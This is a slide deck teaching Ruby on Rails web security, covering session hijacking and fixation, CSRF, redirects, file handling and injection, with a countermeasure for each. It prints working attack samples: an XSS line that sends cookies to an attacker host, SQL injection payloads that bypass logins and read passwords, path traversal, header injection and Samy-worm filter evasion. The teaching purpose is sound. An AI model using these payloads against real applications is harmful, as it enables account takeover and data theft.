2. Sessions
• HTTP is stateless. Sessions make it stateful
• Usually consists of a hash of values and a session id
(commonly a 32-character string)
session[:user_id] = @current_user.id
User.find(session[:user_id])
3. Sessions
• The hash value of a random string
• Currently, not feasible to brute-force
Session id
4. Sessions
• The cookie serves as temporary authentication for the
web application because session id in the cookie
identifies the session
• Anyone who seizes a cookie from someone else, may use
the web application as this user
Session Hijacking
5. Sessions
• Sniff the cookie in an insecure network
Session Hijacking Method
Countermeasure
• Always forcing SSL
config.force_ssl = true
6. Sessions
• Get cookies from a public terminal that does not logout
Session Hijacking Method
Countermeasure
• Provide the user with a logout button and make it prominent
7. Sessions
• Many XSS exploits aim at obtaining the user’s cookie
Session Hijacking Method
Countermeasure
• Prevent XSS. Consult XSS section
8. Sessions
• Many attackers prefer not stealing an unknown cookie
but fixing a user’s session identifier
Session Hijacking Method
Countermeasure
• Consult session fixation section
9. Sessions
• Do not store large objects in a session
• Store in DB and save only their id in the session
• Critical data should not be stored in session
• if the user clears their cookies or closes the browser,
they will be lost. Also, with a client-side session
storage, the user can read the data
Session Guidelines
10. Sessions
• CookieStore saves the session hash directly in a cookie
on the client-side
• Cookie imply a strict size limit of 4KB
• The client can see everything you store in a session
because it is stored in clear-text (Base64-encoded)
• To prevent session hash tempering, a digest is
calculated from the session with a server-side secret
and inserted into the end of the cookie
Session Storage
11. Sessions
• secret.secret_key_base is used for specifying a secret key
Session Storage
development:
secret_key_base: a75d...
test:
secret_key_base: 492f...
production:
secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
config/secrets.yml
12. Sessions
1. A user receives credits, the amount is stored in a session
2. The user buys something
3. The new adjusted credit value is stored in the session
4. The user takes the cookie from the first step and replaces
the current cookie in the browser
5. The user has their original credit back
Replay Attacks for CookieStore Sessions
13. Sessions
• The best solution against the replay attack is not to store
this kind of data in a session, but in the database
Replay Attacks for CookieStore Sessions
15. Sessions
Session Fixation
1. The attacker creates a valid session id: they load the
login page of the web application where they want to
fix the session
2. They maintain the session by accessing the web
application periodically in order to keep an expiring
session alive
16. Sessions
Session Fixation
3. The attacker forces the user’s browser into using this
session id
May run a JavaScript from the domain of the target web
application (XSS)
<script>document.cookie="_session_id=16d5b78abb28e3d6206b6
0f22a03c8d9";</script>
17. Sessions
Session Fixation
4. The attacker lures the victim to the infected page with
the JavaScript code. As the new trap session is
unused, the web application will require the user to
authenticate
5. From now on, the victim and the attacker will co-use
web application with the same session
18. Sessions
Session Fixation Countermeasure
• Issue a new session identifier and declare the old one
invalid after a successful login
reset_session
• Save user-specific properties in the session, verify them
every time a request comes in
remote ip address, user agent, etc.
19. Sessions
Session Expiry
• Session that never expire extend the time-frame for
attacks such as CSRF, session hijacking and session
fixation
• Check not only update time but also creation time to
avoid session refreshing in session fixation attack
21. CSRF
Cross-Site Request Forgery
• Including malicious code or a link that access a web
application that the user is believed to have
authenticated
• Crafted image or link does not necessarily have to be
situated in the web application’s domain. It can be
anywhere.
22. CSRF
Cross-Site Request Forgery Countermeasure
• Use GET and POST appropriately
• GET: the interaction is more like a question
• POST: the interaction is more like an order. the
interaction changes the state of the resource in a way
that the user would perceive
• POST request can be sent automatically, too
23. CSRF
Cross-Site Request Forgery Countermeasure
• POST request can be sent automatically, too
<a href="http://www.harmless.com/" onclick="
var f = document.createElement('form');
f.style.display = 'none';
this.parentNode.appendChild(f);
f.method = 'POST';
f.action = 'http://www.example.com/account/destroy';
f.submit();
return false;">To the harmless survey</a>
24. CSRF
Cross-Site Request Forgery Countermeasure
• Rails introduced a required security token:
protect_from_forgery with: :exception
will automatically include a security token in all forms
and Ajax requests generated by Rails
• Note that XSS vulnerabilities bypass all CSRF protection
25. Redirection and File
Redirection
• Forwarding the user
def legacy
redirect_to(params.update(action:'main'))
end
http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com
will redirect to malicious site
26. Redirection and File
Redirection
• Self-contained XSS
data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
the data protocol in Firefox or Opera displays its contents
directly in the browser and can be anything from HTML or
JavaScript to entire images
is a Base64 encoded JavaScript which displays a simple
message box
28. Redirection and File
File Uploads
• Make sure file uploads don’t overwrite important files
• upload to “/var/www/uploads” with a file name “../../../
etc/passwd”
• Do not try to remove malicious parts. Use a whitelist
approach, not a blacklist approach
• web application removes all “../”, attacker uses a
string such as “….//”. The result would still be “../”
29. Redirection and File
File Uploads
• Process media files asynchronously
• Big media files can be used for denial-of-service
attack
30. Redirection and File
Executable Code in File Uploads
• Do not place file uploads in the subdirectories of
DocumentRoot
• Do not place file uploads in Rails’ /public directory if it
is Apache’s home directory
31. Redirection and File
File Downloads
• Make sure users cannot download arbitrary files
send_file('/var/www/uploads/' + params[:filename])
Do NOT
Do Instead
basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename !=
File.expand_path(File.join(File.dirname(filename), '../../../'))
send_file filename, disposition: 'inline'
33. User Management
CAPTCHAs
• A challenge-response test to determine that the
response is not generated by a computer
• The problem is, they are really annoying
34. User Management
Negative CAPTCHAs
• Include a honeypot field in the form which will be hidden from the
human user by CSS or JavaScript
• Some ideas how to hide honeypot fields
• position the fields off of the visible area of the page
• make the elements very small or color them the same as the
background of the page
• leave the fields displayed, but tell humans to leave them blank
36. User Management
Regular Expressions
• A common pitfall in Ruby’s RE is to match the string’s
beginning and end by ^ and $, instead of A and z
/^https?://[^n]+$/i
will match
javascript:exploit_code();/*
http://hi.com
*/
/Ahttps?://[^n]+z/i
to fix
37. User Management
Privilege Escalation
• Changing a single parameter may give the user
unauthorized access. Remember that every paramenter may
be changed, no matter how much you hide or obfuscate it.
@project = Project.find(params[:id])
should be
@project = @current_user.projects.find(params[:id])
38. Injection
Whitelist vs Blacklist
• When sanitizing, protecting or verifying something,
prefer whitelist over blacklist
• allow <strong> instead of removing <script>
• don’t try to correct user input by blacklist:
“<sc<script>ript>”.gsub(“<script>”,“”)
39. Injection
SQL Injection
• Basic example
Project.where("name = '#{params[:name]}'")
put ’ OR 1 --
SELECT * FROM projects WHERE name = '' OR 1 --'
40. Injection
SQL Injection
• Bypassing Authorization
User.first("login = '#{params[:name]}' AND password =
'#{params[:password]}'")
put ’ OR ‘1’=‘1 as name and ’ OR ‘2’>‘1 as password
SELECT * FROM users WHERE login = '' OR '1'='1'
AND password = '' OR '2'>'1' LIMIT 1
41. Injection
SQL Injection
• Unauthorized Reading
Project.where("name = '#{params[:name]}'")
put ’) UNION SELECT id,login AS name,password
AS description,1,1,1 FROM users --
SELECT * FROM projects WHERE (name = '') UNION
SELECT id,login AS name,password AS description,
1,1,1 FROM users --'
Add appropriate amount of 1s to match the number of column
42. Injection
SQL Injection Countermeasure
• built-in filters applied
Model.find(id), Model.find_by_something(something)
• Dangerous methods
Model.where(sql fragment), Model.find_by_sql(sql)
use question mark to sanitize tainted strings
Model.where("login = ? AND password = ?",
entered_user_name, entered_password).first
44. Injection
Cross-Site Scripting (XSS)
• Entry points: message posts, user comments, guest
books, project titles, document names, search result
pages, about everywhere where the user can input data
• XSS can steal the cookie, hijack the session, redirect the
victim to a fake website, display ads, change elements
on the website to get confidential information, install
malicious software through security holes in the web
browser
45. Injection
Cross-Site Scripting (XSS)
• Common pattern is exploiting SQL injection vulnerability
in a web application framework and insert malicious
code in every textual table column
• In April 2008 more than 510,000 sites were hacked this
way, among them the British government, United
Nations
• Entry point can even be a banner advertisement
46. Injection
Cross-Site Scripting (XSS)
• Most straightforward test to check for XSS
<script>alert('Hello');</script>
in very uncommon places
<img src=javascript:alert('Hello')>
<table background="javascript:alert('Hello')">
47. Injection
Cross-Site Scripting (XSS)
• Cookie theft
<script>document.write(document.cookie);</script>
shows one’s own cookie on the browser and still satisfies the same origin policy
<script>document.write('<img src="http://
www.attacker.com/' + document.cookie +
'">');</script>
However, an attacker can steal the victim’s cookie like
The log file on www.attacker.com will read like
GET http://www.attacker.com/
_app_session=836c1c25278e5b321d6bea4f19cb57e2
48. Injection
Cross-Site Scripting (XSS)
• Defacement
• Overlap the entire or part of the web page with a fake
web page
• iframe is the most popular way to include code from
external sources
• unescaped search string is also dangerous
49. Injection
Cross-Site Scripting Countermeasure
• Filter a malicious input, and also escape the output of
the web application
• Again, use whitelist filtering instead of blacklist. Blacklist
are never complete
50. Injection
Cross-Site Scripting Countermeasure
• Rails filter methods (strip_tags(), strip_links(), sanitize())
used a blacklist approach
strip_tags("some<<b>script>alert('hello')<</b>/script>")
returns
some<script>alert('hello')</script>
51. Injection
Cross-Site Scripting Countermeasure
• Updated Rails 2 filter methods (strip_tags(), strip_links(),
sanitize()) use a whitelist approach
tags = %w(a acronym b strong i em li ul ol h1 h2
h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, tags: tags, attributes:
%w(href title))
52. Injection
Cross-Site Scripting Countermeasure
• Use escapeHTML() (or h())
• It replaces replace the HTML input characters &, ", <,
> by their uninterpreted representations in HTML
(&, ", <, and >)
• Consider SafeErb gem. SafeErb reminds you to
escape strings from external sources
53. Injection
Cross-Site Scripting Countermeasure
• Rails sanitize() filter also recognizes encoded injection
<IMG
SRC=javascr&
#105;pt:aler
;t('XSS')>
pops up a message box
54. Injection
Real-world Example
• Js.Yamanner@m Yahoo! Mail worm appeared on June 11, 2006
<img src='http://us.i1.yimg.com/us.yimg.com/i/
us/nt/ma/ma_mail_1.gif'
target=""onload="var http_request = false;
var Email = ‘'; var IDList = ‘';
var CRumb = ''; function makeRequest(url,
Func, Method,Param) { ...
exploits a hole in Yahoo's HTML/JavaScript filter, which usually
filters all target and onload attributes from tags (because there
can be JavaScript). The filter is applied only once.
55. Injection
CSS Injection
• MySpace Samy Worm Case Study
• The worm automatically sent a friend request to Samy
(the attacker) simply by visiting his profile
• Within several hours, he had over 1 million friend
requests
• It creates too much traffic on MySpace, so that the
site goes offline
56. Injection
CSS Injection
• MySpace Samy Worm Case Study
MySpace blocks many tags, however it allow CSS
<div style="background:url('javascript:alert(1)')">
But we cannot use either double and single quotes in the style attribute
<div id="mycode" expr="alert('hah!')"
style="background:url('javascript:eval(
document.all.mycode.expr)')">
Aha! eval() allows to extract the payload outside of the style attribute
57. Injection
CSS Injection
• MySpace Samy Worm Case Study
MySpace filters the word ‘javascript’, let’s get around this
<div id="mycode" expr=“alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
Last problem was the CSRF security token
The attacker (Samy) got around it by sending GET to the page
right before adding a user and parsing the result for the CSRF token
In the end, the attacker got a 4KB worm, which he injected into his profile page
58. Injection
Command Line Injection
• Use user-supplied command line parameters with
caution
• Use system(command, parameters) instead of
exec(command), syscall(command), system(command)
system("/bin/echo","hello; rm *")
# prints "hello; rm *" and does not delete files
59. Injection
Header Injection
• HTTP request headers are user-supplied and may be
manipulated with more or less effort
• Be careful when you display the user agent in an
administrator area
• HTTP response headers partly based on user input
could be dangerous
60. Injection
Header Injection
redirect_to params[:referer]
Rails puts the string into the Location header
field and sends a 302 status to the browser
http://www.yourapplication.com/controller/action?
referer=path/at/your/app%0d%0aLocation:+http://
www.malicious.tld
The second location overwrites the first
HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld
61. Injection
Header Injection
HTTP/1.1 302 Found [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:
Content-Type: text/html
HTTP/1.1 200 OK [Second New response created by attacker begins]
Content-Type: text/html
<html><font color=red>hey</font></html>
[Arbitary malicious input is shown as the redirected page]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
• Response Splitting
However, only seems to work with Keep-Alive connections
63. Unsafe Query Generation
unless params[:token].nil?
user = User.find_by_token(params[:token])
user.reset_password!
end
When params[:token] is one of : [], [nil], [nil,nil,…], [‘foo’,nil],
it will bypass the test for nil
IS NULL or IN ('foo', NULL) where clauses will
unexpectedly be added to the result SQL